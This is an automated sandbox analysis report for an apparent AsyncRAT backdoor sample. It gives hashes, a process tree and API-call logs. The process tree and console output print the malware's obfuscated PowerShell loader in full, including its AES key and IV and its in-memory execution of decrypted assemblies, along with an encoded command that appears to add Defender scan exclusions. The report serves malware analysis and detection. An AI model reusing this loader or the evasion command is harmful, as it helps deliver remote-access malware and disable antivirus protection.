Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 22, 2023, 8:41 a.m.	May 22, 2023, 8:44 a.m.

Size	993.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`d60031ffc48a89ab83986641703d4b82`
SHA256	`5341e37630a03624e23c185ca53a91d824a1d36745964e77e4b5de82cea156a4`
CRC32	`8E7EB76B`
ssdeep	`24576:Wlfd7OepGiWQOb+53aGFcRhu0fv2XKmVPDq5NpLPNA/cviJWLztG:Kfd/pC8qYMu0VmVPDIpLFLv+WLJ`
Yara	Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT PE_Header_Zero - PE File Signature IsPE32 - (no description)

bonder.exe "C:\Users\test22\AppData\Local\Temp\bonder.exe"
2552
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAaQBwACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AegBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAdgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZwB2ACMAPgA="
  2724
- cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\man.bat" "
  2876
  - powershell.exe powershell -w hidden -c #
    2940
  - man.bat.exe "C:\Users\test22\AppData\Local\Temp\man.bat.exe" $OBOu='SplNbqLitNbqL'.Replace('NbqL', '');$aqEU='ReNbqLadLNbqLinNbqLeNbqLsNbqL'.Replace('NbqL', '');$wFvO='FiNbqLrstNbqL'.Replace('NbqL', '');$uTAD='CNbqLreNbqLatNbqLeNbqLDecrNbqLypNbqLtoNbqLrNbqL'.Replace('NbqL', '');$SyvP='InNbqLvNbqLokNbqLeNbqL'.Replace('NbqL', '');$wpRJ='EntNbqLryPoNbqLinNbqLtNbqL'.Replace('NbqL', '');$leFV='TrNbqLaNbqLnsNbqLfoNbqLrmNbqLFinaNbqLlBloNbqLckNbqL'.Replace('NbqL', '');$KiSR='MaNbqLiNbqLnMoNbqLdulNbqLeNbqL'.Replace('NbqL', '');$jrfh='ChanNbqLgeENbqLxteNbqLnsiNbqLoNbqLnNbqL'.Replace('NbqL', '');$LVNY='LoaNbqLdNbqL'.Replace('NbqL', '');$ZsxI='FNbqLromNbqLBasNbqLe64SNbqLtrNbqLingNbqL'.Replace('NbqL', '');$nhRS='GetNbqLCuNbqLrNbqLrNbqLenNbqLtProNbqLcNbqLesNbqLsNbqL'.Replace('NbqL', '');function jtNeP($BFDih){$ZgaCl=[System.Security.Cryptography.Aes]::Create();$ZgaCl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ZgaCl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ZgaCl.Key=[System.Convert]::$ZsxI('txkNVDrhm27W1DaL5GLcM6FMILoKtFqLKX3laNnOjxc=');$ZgaCl.IV=[System.Convert]::$ZsxI('hP/b1mKCdVvyfRQZ/p25ZA==');$AdWGs=$ZgaCl.$uTAD();$EqYkj=$AdWGs.$leFV($BFDih,0,$BFDih.Length);$AdWGs.Dispose();$ZgaCl.Dispose();$EqYkj;}function QcgQb($BFDih){$Hnmle=New-Object System.IO.MemoryStream(,$BFDih);$xRoFm=New-Object System.IO.MemoryStream;$pEUyF=New-Object System.IO.Compression.GZipStream($Hnmle,[IO.Compression.CompressionMode]::Decompress);$pEUyF.CopyTo($xRoFm);$pEUyF.Dispose();$Hnmle.Dispose();$xRoFm.Dispose();$xRoFm.ToArray();}$NdNoC=[System.Linq.Enumerable]::$wFvO([System.IO.File]::$aqEU([System.IO.Path]::$jrfh([System.Diagnostics.Process]::$nhRS().$KiSR.FileName, $null)));$UfGsn=$NdNoC.Substring(3).$OBOu(':');$WZNSc=QcgQb (jtNeP ([Convert]::$ZsxI($UfGsn[0])));$hKWvJ=QcgQb (jtNeP ([Convert]::$ZsxI($UfGsn[1])));[System.Reflection.Assembly]::$LVNY([byte[]]$hKWvJ).$wpRJ.$SyvP($null,$null);[System.Reflection.Assembly]::$LVNY([byte[]]$WZNSc).$wpRJ.$SyvP($null,$null);
    2124

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (14 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 22, 2023, 8:35 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (5 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 22, 2023, 8:34 a.m.			0	0
IsDebuggerPresent May 22, 2023, 8:34 a.m.			0	0
IsDebuggerPresent May 22, 2023, 8:35 a.m.			0	0
IsDebuggerPresent May 22, 2023, 8:35 a.m.			0	0
IsDebuggerPresent May 22, 2023, 8:35 a.m.			0	0

Command line console output was observed (31 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: 1 file(s) copied. console_handle: 0x0000000000000007	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: Unexpected token '(' in expression or statement. console_handle: 0x0000000000000023	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: At line:1 char:958 console_handle: 0x000000000000002f	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: + $OBOu='SplNbqLitNbqL'.Replace('NbqL', '');$aqEU='ReNbqLadLNbqLinNbqLeNbqLsNbq console_handle: 0x000000000000003b	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: L'.Replace('NbqL', '');$wFvO='FiNbqLrstNbqL'.Replace('NbqL', '');$uTAD='CNbqLre console_handle: 0x0000000000000047	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: NbqLatNbqLeNbqLDecrNbqLypNbqLtoNbqLrNbqL'.Replace('NbqL', '');$SyvP='InNbqLvNbq console_handle: 0x0000000000000053	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: LokNbqLeNbqL'.Replace('NbqL', '');$wpRJ='EntNbqLryPoNbqLinNbqLtNbqL'.Replace('N console_handle: 0x000000000000005f	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: bqL', '');$leFV='TrNbqLaNbqLnsNbqLfoNbqLrmNbqLFinaNbqLlBloNbqLckNbqL'.Replace(' console_handle: 0x000000000000006b	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: NbqL', '');$KiSR='MaNbqLiNbqLnMoNbqLdulNbqLeNbqL'.Replace('NbqL', '');$jrfh='Ch console_handle: 0x0000000000000077	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: anNbqLgeENbqLxteNbqLnsiNbqLoNbqLnNbqL'.Replace('NbqL', '');$LVNY='LoaNbqLdNbqL' console_handle: 0x0000000000000083	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: .Replace('NbqL', '');$ZsxI='FNbqLromNbqLBasNbqLe64SNbqLtrNbqLingNbqL'.Replace(' console_handle: 0x000000000000008f	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: NbqL', '');$nhRS='GetNbqLCuNbqLrNbqLrNbqLenNbqLtProNbqLcNbqLesNbqLsNbqL'.Replac console_handle: 0x000000000000009b	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: e('NbqL', '');function jtNeP($BFDih){$ZgaCl=[System.Security.Cryptography.Aes]: console_handle: 0x00000000000000a7	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: :Create();$ZgaCl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ZgaCl.Pad console_handle: 0x00000000000000b3	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: ding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ZgaCl.Key=[System.Conve console_handle: 0x00000000000000bf	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: rt]::$ZsxI( <<<< 'txkNVDrhm27W1DaL5GLcM6FMILoKtFqLKX3laNnOjxc=');$ZgaCl.IV=[Sys console_handle: 0x00000000000000cb	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: tem.Convert]::$ZsxI('hP/b1mKCdVvyfRQZ/p25ZA==');$AdWGs=$ZgaCl.$uTAD();$EqYkj=$A console_handle: 0x00000000000000d7	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: dWGs.$leFV($BFDih,0,$BFDih.Length);$AdWGs.Dispose();$ZgaCl.Dispose();$EqYkj;}fu console_handle: 0x00000000000000e3	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: nction QcgQb($BFDih){$Hnmle=New-Object System.IO.MemoryStream(,$BFDih);$xRoFm=N console_handle: 0x00000000000000ef	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: ew-Object System.IO.MemoryStream;$pEUyF=New-Object System.IO.Compression.GZipSt console_handle: 0x00000000000000fb	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: ream($Hnmle,[IO.Compression.CompressionMode]::Decompress);$pEUyF.CopyTo($xRoFm) console_handle: 0x0000000000000107	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: ;$pEUyF.Dispose();$Hnmle.Dispose();$xRoFm.Dispose();$xRoFm.ToArray();}$NdNoC=[S console_handle: 0x0000000000000113	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: ystem.Linq.Enumerable]::$wFvO([System.IO.File]::$aqEU([System.IO.Path]::$jrfh([ console_handle: 0x000000000000011f	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: System.Diagnostics.Process]::$nhRS().$KiSR.FileName, $null)));$UfGsn=$NdNoC.Sub console_handle: 0x000000000000012b	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: string(3).$OBOu(':');$WZNSc=QcgQb (jtNeP ([Convert]::$ZsxI($UfGsn[0])));$hKWvJ= console_handle: 0x0000000000000137	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: QcgQb (jtNeP ([Convert]::$ZsxI($UfGsn[1])));[System.Reflection.Assembly]::$LVNY console_handle: 0x0000000000000143	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: ([byte[]]$hKWvJ).$wpRJ.$SyvP($null,$null);[System.Reflection.Assembly]::$LVNY([ console_handle: 0x000000000000014f	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: byte[]]$WZNSc).$wpRJ.$SyvP($null,$null); console_handle: 0x000000000000015b	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: + CategoryInfo : ParserError: ((:String) [], ParentContainsErrorR console_handle: 0x0000000000000167	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: ecordException console_handle: 0x0000000000000173	1	1
WriteConsoleW May 22, 2023, 8:35 a.m.	buffer: + FullyQualifiedErrorId : UnexpectedToken console_handle: 0x000000000000017f	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 130 events)

Time & API	Arguments	Status	Return
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031f150 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5fb730 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5fb730 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5fb730 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6122b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6122b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6122b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6122b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031f690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031f690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031f690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031ee40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031ee40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031ee40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031ee40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031ee40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031ee40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031f690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031f690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612b70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612b70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612b70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612c50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612c50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612cc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612cc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612c50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612c50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612c50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612e10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612e10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612e10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612e10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63f520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63f520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63f980 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63f980 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612b70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612b70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612b70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612b70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000229f00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509140 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509140 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 22, 2023, 8:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509140 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 22, 2023, 8:34 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Allocates read-write-execute memory (usually to unpack itself) (50 out of 573 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000006a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000820000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a31000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40cb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 1310720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000006a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000760000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a32000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a34000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a34000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a34000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a34000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
